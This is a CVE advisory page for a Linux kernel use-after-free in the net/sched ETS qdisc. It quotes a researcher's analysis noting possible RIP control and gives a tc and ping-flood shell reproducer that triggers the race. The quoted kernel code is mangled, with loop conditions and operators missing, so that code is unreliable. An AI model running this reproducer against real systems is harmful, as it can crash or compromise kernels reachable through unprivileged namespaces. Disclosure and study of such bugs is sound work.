CVE-2025-71066

Severity CVSS v4.0:
Pending analysis
Type:
Unavailable / Other
Publication date:
13/01/2026
Last modified:
19/01/2026

Description

In the Linux kernel, the following vulnerability has been resolved:<br /> <br /> net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change<br /> <br /> zdi-disclosures@trendmicro.com says:<br /> <br /> The vulnerability is a race condition between `ets_qdisc_dequeue` and<br /> `ets_qdisc_change`. It leads to UAF on `struct Qdisc` object.<br /> Attacker requires the capability to create new user and network namespace<br /> in order to trigger the bug.<br /> See my additional commentary at the end of the analysis.<br /> <br /> Analysis:<br /> <br /> static int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt,<br /> struct netlink_ext_ack *extack)<br /> {<br /> ...<br /> <br /> // (1) this lock is preventing .change handler (`ets_qdisc_change`)<br /> //to race with .dequeue handler (`ets_qdisc_dequeue`)<br /> sch_tree_lock(sch);<br /> <br /> for (i = nbands; i = q-&gt;nstrict &amp;&amp; q-&gt;classes[i].qdisc-&gt;q.qlen)<br /> list_del_init(&amp;q-&gt;classes[i].alist);<br /> qdisc_purge_queue(q-&gt;classes[i].qdisc);<br /> }<br /> <br /> WRITE_ONCE(q-&gt;nbands, nbands);<br /> for (i = nstrict; i nstrict; i++) {<br /> if (q-&gt;classes[i].qdisc-&gt;q.qlen) {<br /> // (2) the class is added to the q-&gt;active<br /> list_add_tail(&amp;q-&gt;classes[i].alist, &amp;q-&gt;active);<br /> q-&gt;classes[i].deficit = quanta[i];<br /> }<br /> }<br /> WRITE_ONCE(q-&gt;nstrict, nstrict);<br /> memcpy(q-&gt;prio2band, priomap, sizeof(priomap));<br /> <br /> for (i = 0; i nbands; i++)<br /> WRITE_ONCE(q-&gt;classes[i].quantum, quanta[i]);<br /> <br /> for (i = oldbands; i nbands; i++) {<br /> q-&gt;classes[i].qdisc = queues[i];<br /> if (q-&gt;classes[i].qdisc != &amp;noop_qdisc)<br /> qdisc_hash_add(q-&gt;classes[i].qdisc, true);<br /> }<br /> <br /> // (3) the qdisc is unlocked, now dequeue can be called in parallel<br /> // to the rest of .change handler<br /> sch_tree_unlock(sch);<br /> <br /> ets_offload_change(sch);<br /> for (i = q-&gt;nbands; i classes[i].qdisc);<br /> // (5) If we call .dequeue between (4) and (5), we will have<br /> // a strong UAF and we can control RIP<br /> q-&gt;classes[i].qdisc = NULL;<br /> WRITE_ONCE(q-&gt;classes[i].quantum, 0);<br /> q-&gt;classes[i].deficit = 0;<br /> gnet_stats_basic_sync_init(&amp;q-&gt;classes[i].bstats);<br /> memset(&amp;q-&gt;classes[i].qstats, 0, sizeof(q-&gt;classes[i].qstats));<br /> }<br /> return 0;<br /> }<br /> <br /> Comment:<br /> This happens because some of the classes have their qdiscs assigned to<br /> NULL, but remain in the active list. This commit fixes this issue by always<br /> removing the class from the active list before deleting and freeing its<br /> associated qdisc<br /> <br /> Reproducer Steps<br /> (trimmed version of what was sent by zdi-disclosures@trendmicro.com)<br /> <br /> ```<br /> DEV="${DEV:-lo}"<br /> ROOT_HANDLE="${ROOT_HANDLE:-1:}"<br /> BAND2_HANDLE="${BAND2_HANDLE:-20:}" # child under 1:2<br /> PING_BYTES="${PING_BYTES:-48}"<br /> PING_COUNT="${PING_COUNT:-200000}"<br /> PING_DST="${PING_DST:-127.0.0.1}"<br /> <br /> SLOW_TBF_RATE="${SLOW_TBF_RATE:-8bit}"<br /> SLOW_TBF_BURST="${SLOW_TBF_BURST:-100b}"<br /> SLOW_TBF_LAT="${SLOW_TBF_LAT:-1s}"<br /> <br /> cleanup() {<br /> tc qdisc del dev "$DEV" root 2&gt;/dev/null<br /> }<br /> trap cleanup EXIT<br /> <br /> ip link set "$DEV" up<br /> <br /> tc qdisc del dev "$DEV" root 2&gt;/dev/null || true<br /> <br /> tc qdisc add dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2<br /> <br /> tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2_HANDLE" \<br /> tbf rate "$SLOW_TBF_RATE" burst "$SLOW_TBF_BURST" latency "$SLOW_TBF_LAT"<br /> <br /> tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2<br /> tc -s qdisc ls dev $DEV<br /> <br /> ping -I "$DEV" -f -c "$PING_COUNT" -s "$PING_BYTES" -W 0.001 "$PING_DST" \<br /> &gt;/dev/null 2&gt;&amp;1 &amp;<br /> tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 0<br /> tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2<br /> tc -s qdisc ls dev $DEV<br /> tc qdisc del dev "$DEV" parent <br /> ---truncated---

Impact